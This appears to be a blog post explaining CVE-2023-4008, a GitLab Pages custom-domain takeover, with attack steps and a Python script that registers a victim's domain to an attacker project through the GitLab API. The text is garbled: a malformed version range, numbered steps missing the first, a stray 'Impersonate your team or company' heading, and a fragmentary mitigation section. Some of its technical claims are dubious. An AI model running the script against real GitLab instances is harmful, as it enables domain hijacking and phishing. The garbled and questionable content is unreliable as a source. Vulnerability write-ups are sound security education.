CVE-2023-4008 - How Random String Exposure Allowed GitLab Pages Domain Takeover
In August 2023, a critical vulnerability was reported in GitLab CE/EE called CVE-2023-4008. This issue impacts systems running GitLab Community and Enterprise Editions from version 15.9 up to 16..8, 16.1 up to 16.1.3, and 16.2 up to 16.2.2.
Attackers could exploit this vulnerability to take over GitLab Pages bound to custom domain URLs, provided they could guess or know a random string that GitLab appended to verify domain ownership. This flaw exposed the risk of phishing, impersonation, and data leaking on affected deployments.
Let's explore what really happened, how this could be exploited, and what you should do if you’re running a vulnerable version of GitLab.
How Did the Vulnerability Work?
GitLab Pages allow users to publish static websites directly from their repositories. When users attach a custom domain (like my-cool-site.com) to their GitLab Pages, GitLab creates a random string. The owner places this string as a DNS record or as a simple file in their site. GitLab then checks for this string to prove domain ownership.
GitLab verifies ownership, and, if successful, points the Pages site to this domain
The flaw: If an attacker can guess or discover the random string used for domain verification, they could register the same domain within their project and trick GitLab into believing they own it, effectively hijacking the domain.
A Closer Look: Exploit Step-by-Step
Let’s walk through a hypothetical exploit scenario.
2. Attacker Registers the Victim’s Custom Domain
The attacker creates a new GitLab project and tries to claim the same custom domain (e.g., blog.example.com).
GitLab asks for ownership verification — a random string identical to the one recorded with the original owner's domain.
3. Attacker Fakes the Verification
Knowing the required string, the attacker sets up a DNS record or file with this exact value (either by controlling the domain DNS or by spoofing in other ways, if possible).
4. GitLab Approves the Takeover
GitLab checks for the string, finds it, and associates the custom domain with the attacker’s project.
5. The Attacker Controls the Domain
From now on, requests to blog.example.com are served content from the attacker's GitLab Pages project.
Code Example: How It Might Be Automated
Attackers could automate string enumeration or exploit with a script. Here’s a simple Python snippet showing how someone might attempt to register a domain using a leaked verification string via the GitLab API (assuming they have or can guess the string):
import requests
GITLAB_URL = "https://gitlab.example.com";
API_TOKEN = "YOUR_ACCESS_TOKEN"
PROJECT_ID = 123456
DOMAIN_NAME = "blog.example.com"
VERIFICATION_STRING = "abcdef123" # The leaked string
# Set up headers for API authentication
headers = {
"PRIVATE-TOKEN": API_TOKEN,
}
# Try to add a custom domain to the attacker's project
data = {
"domain": DOMAIN_NAME,
"verification_code": VERIFICATION_STRING,
}
response = requests.post(
f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/pages/domains",
headers=headers,
json=data
)
if response.status_code == 201:
print("Domain registered successfully. Takeover complete!")
else:
print(f"Error: {response.status_code} - {response.text}")
Note: This is a simplified illustration and real attacks could involve more steps.
Original References
- GitLab Security Advisory: "Arbitrary Takeover of Pages Custom Domains"
- NIST CVE-2023-4008 Details
Check your current version
gitlab-rake gitlab:env:info
To upgrade, refer to the latest GitLab upgrade documentation.
Impersonate your team or company
If you run GitLab for your projects or clients, treat this as critical.
Conclusion
CVE-2023-4008 is a clear reminder: small leaks, like a verification string, can open big holes in your site’s security. Make sure your GitLab install is up-to-date, rotate and store secrets carefully, and monitor your domains for unauthorized changes.
More reading
- GitLab Release Notes & Security Blog
- How to Secure Your Custom Domains on GitLab Pages
Disclaimer: This post is for educational purposes only. Never exploit vulnerabilities on systems you do not own or have explicit permission to test.
Timeline
Published on: 08/03/2023 07:15:00 UTC
Last modified on: 08/07/2023 19:29:00 UTC